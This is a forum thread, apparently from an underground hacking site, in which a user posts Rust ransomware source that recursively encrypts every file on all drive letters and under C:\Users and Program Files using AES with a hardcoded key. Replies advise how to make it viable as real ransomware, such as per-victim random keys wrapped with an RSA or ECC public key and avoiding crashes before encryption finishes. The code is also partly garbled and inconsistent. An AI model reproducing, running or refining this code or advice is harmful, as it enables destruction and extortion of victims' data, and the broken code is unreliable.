What's new
Runion

This is a sample guest message. Register a free account today to become a member! Once signed in, you'll be able to participate on this site by adding your own topics and posts, as well as connect with other members through your own private inbox!

Custom /Rust Ransomware/

9day

Light Weight
Депозит
$0
Currently it does the following:



File Encryption:

The application walks through specified root directories (drives and common system folders) to collect a list of file paths.

It uses multi-threading to process each file concurrently.



Encryption Algorithm:

The files are encrypted using the Advanced Encryption Standard (AES) algorithm in Cipher Block Chaining (CBC) mode.

A fixed encryption key (KEY: [u8; 32]) is used for encryption.



Multi-Threading:

The application utilizes multiple threads to improve performance.

Files are processed concurrently by worker threads, which encrypt the contents in chunks.



Logging:

The application logs its activities using the log crate.

It prints information about the encryption process, errors, and file paths.



GUI:

The GUI is built using the Druid.

The GUI displays a window with a simple message.

The GUI is launched within the main function after processing the files.



Root Paths:

The application specifies a list of root paths to search for files. These paths include various drives (A:\, B:\, etc.) and common system directories.



Error Handling:

The application provides error handling for file operations, encryption errors, and other potential issues.

Код:
Скопировать в буфер обмена
use std::fs::OpenOptions;
use std:🇮🇴:{Read, Write, BufReader, Seek, SeekFrom};
use std::error::Error;
use walkdir::WalkDir;
use log::{error, info};
use crypto::buffer::{ReadBuffer, RefReadBuffer, RefWriteBuffer, WriteBuffer};
use crypto::aes::{KeySize, cbc_encryptor};
use crypto::blockmodes::pkcsPadding;
use std::sync::{Arc, Mutex};
use std::thread;
use std::sync::mpsc;

const KEY: [u8; 16] = *b"your-key";
const CHUNK_SIZE: usize = 8192; // Set your desired chunk size

#[derive(Debug)]
struct CryptoError;

impl std::fmt::Display for CryptoError {
fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
write!(f, "CryptoError: SymmetricCipherError")
}
}

impl std::error::Error for CryptoError {}

fn encrypt_file(file_path: &str) -> Result<(), Box<dyn Error>> {
info!("Encrypting file: {}", file_path);

// Open the file in read-write mode
let file = match OpenOptions::new().read(true).write(true).open(file_path) {
Ok(file) => file,
Err(err) => {
// If opening the file fails (e.g., it's being written by another process), skip this file
error!("Could not open {}: skipping file. Error: {:?}", file_path, err);
return Ok(());
}
};

let metadata = std::fs::metadata(file_path)?;
let original_size = metadata.len();

let mut reader = BufReader::new(&file);

// Encrypt the contents of the file in chunks
let mut read_buffer = [0; CHUNK_SIZE];
let mut write_buffer = [0; CHUNK_SIZE + 16]; // Assuming 16 bytes for integrity check

let encryptor = cbc_encryptor(KeySize::KeySize128, &KEY, &[0u8; 16], PkcsPadding);
let mut encryptor = Box::new(encryptor);

let mut offset: u64 = 0;

loop {
let read_count = match reader.read(&mut read_buffer) {
Ok(count) => count,
Err(err) => {
error!("Error reading from {}: {:?}", file_path, err);
return Ok(());
}
};

if read_count == 0 {
break;
}

let mut temp_file = match file.try_clone() {
Ok(temp_file) => temp_file,
Err(err) => {
error!("Error cloning file {}: {:?}", file_path, err);
return Ok(());
}
};

let mut read_buffer = RefReadBuffer::new(&read_buffer[..read_count]);
let mut write_buffer = RefWriteBuffer::new(&mut write_buffer);

let _res = match encryptor.encrypt(&mut read_buffer, &mut write_buffer, true) {
Ok(res) => res,
Err(err) => {
error!("Encryption error: {:?}", err);
return Err(Box::new(CryptoError));
}
};

let write_count = write_buffer.position() as usize;

// Move the file cursor to the correct position and write the encrypted content
match temp_file.seek(SeekFrom::Start(offset)) {
Ok(_) => (),
Err(err) => {
error!("Error seeking in {}: {:?}", file_path, err);
return Ok(());
}
}

if let Err(err) = temp_file.write_all(&write_buffer.take_read_buffer().take_remaining()[..write_count]) {
error!("Error writing to {}: {:?}", file_path, err);
return Ok(());
}

if let Err(err) = temp_file.flush() {
error!("Error flushing {}: {:?}", file_path, err);
return Ok(());
}

offset += read_count as u64;
}

// Truncate the file to make it appear encrypted
if let Err(err) = file.set_len(original_size) {
error!("Error truncating {}: {:?}", file_path, err);
return Ok(());
}

info!("Encrypted: {}", file_path);

Ok(())
}

fn process_file(file_path: &str) {
if let Err(err) = encrypt_file(file_path) {
error!("Error encrypting {}: {:?}", file_path, err);
}
}

mod gui;

fn main() {
// Initialize logger
env_logger::Builder::from_env(env_logger::Env::default().default_filter_or("info"))
.write_style(env_logger::WriteStyle::Auto)
.init();

let root_paths = vec![
"A:\\",
"B:\\",
"D:\\",
"E:\\",
"F:\\",
"G:\\",
"H:\\",
"I:\\",
"J:\\",
"K:\\",
"L:\\",
"M:\\",
"N:\\",
"O:\\",
"P:\\",
"Q:\\",
"R:\\",
"S:\\",
"T:\\",
"U:\\",
"V:\\",
"W:\\",
"X:\\",
"Y:\\",
"Z:\\",
"C:\\Users",
"C:\\Program Files",
"C:\\Program Files (x86)"
];

let arc_files = Arc::new(Mutex::new(Vec::new()));

for root_path in root_paths {
let files: Vec<_> = WalkDir::new(root_path)
.into_iter()
.filter_map(|entry| entry.ok())
.filter(|entry| entry.file_type().is_file())
.map(|entry| entry.path().to_string_lossy().to_string())
.collect();

let mut arc_files = arc_files.lock().unwrap();
arc_files.extend(files);
}

let (tx, rx): (std::sync::mpsc::Sender<()>, std::sync::mpsc::Receiver<()>) = std::sync::mpsc::channel(); // Create a channel for communication

let handles: Vec<_> = (0..num_cpus::get())
.map(|_| {
let arc_files = Arc::clone(&arc_files);
let tx = tx.clone(); // Clone the sender for each thread
thread::spawn(move || {
loop {
let file;
{
let mut files = arc_files.lock().unwrap();
file = files.pop();
}

match file {
Some(file) => process_file(&file),
None => {
// Signal the main thread that this worker is done
tx.send(()).unwrap();
break;
}
}
}
})
})
.collect();

// Launch the GUI
gui::run_gui(arc_files.clone(), rx, tx.clone());

// Wait for all worker threads to finish
for _ in handles {
tx.send(()).unwrap(); // Send a message to each worker to exit
}
}
 
Commercial use of ransomware is strictly prohibited (immediately ban). But this is tech and coding discussion. It's sources. So it's allowed.
 
9day сказал(а):
A fixed encryption key (KEY: [u8; 32]) is used for encryption

Not the way you would see it is done in real world ransomware. This would make an averskiy diatel very happy.

Also you shouldn't really unwrap in ransomware, a panic in one of the threads or in main thread is not the thing you want to have.
Последнее редактирование: 15.01.2024
 
DildoFagins сказал(а):
Not the way you would see it is done in real world ransomware. This would make an averskiy diatel very happy.

Also you shouldn't really unwrap in ransomware, a panic in one of the threads or in main thread is not the thing you want to have.

Can you explain more please DildoFagins ? Thanks
 
Yuji0x01 сказал(а):
Can you explain more please DildoFagins ?

What exactly? If you just use hardcoded AES key it can be extracted easily, so there would be no point to pay the ransom. The AES key should be randomly generated and encrypted with hardcoded RSA or ECC public key. As for unwraping it is a bad practice in Rust in general, as unwrap may cause panic, which will crash your process or can poison mutexes and result in a deadlock. In this particular case it is indeed unlikely, but you don't really want your ransomware to panic at any time or at least before all files are encrypted.
 
I agree with your statements, but still, its just for fun.
I wouldn't consider posting an actual source code of a ready to build and run ransom, also Rust is great for quick play, true this causes systam issues and very-likely a deadlock, i found it fun exploring.
As you can see there is no decryption method implemented, its all about the panic, you cant even call it a ransomware its more of encryption-ware. kek.
 
DildoFagins сказал(а):
What exactly? If you just use hardcoded AES key it can be extracted easily, so there would be no point to pay the ransom. The AES key should be randomly generated and encrypted with hardcoded RSA or ECC public key. As for unwraping it is a bad practice in Rust in general, as unwrap may cause panic, which will crash your process or can poison mutexes and result in a deadlock. In this particular case it is indeed unlikely, but you don't really want your ransomware to panic at any time or at least before all files are encrypted.

Can I ask u since u may have experience for 10y or maybee more?do u have any good resource for learning abt encryption? + do u prefer using C++ for that?
 
Top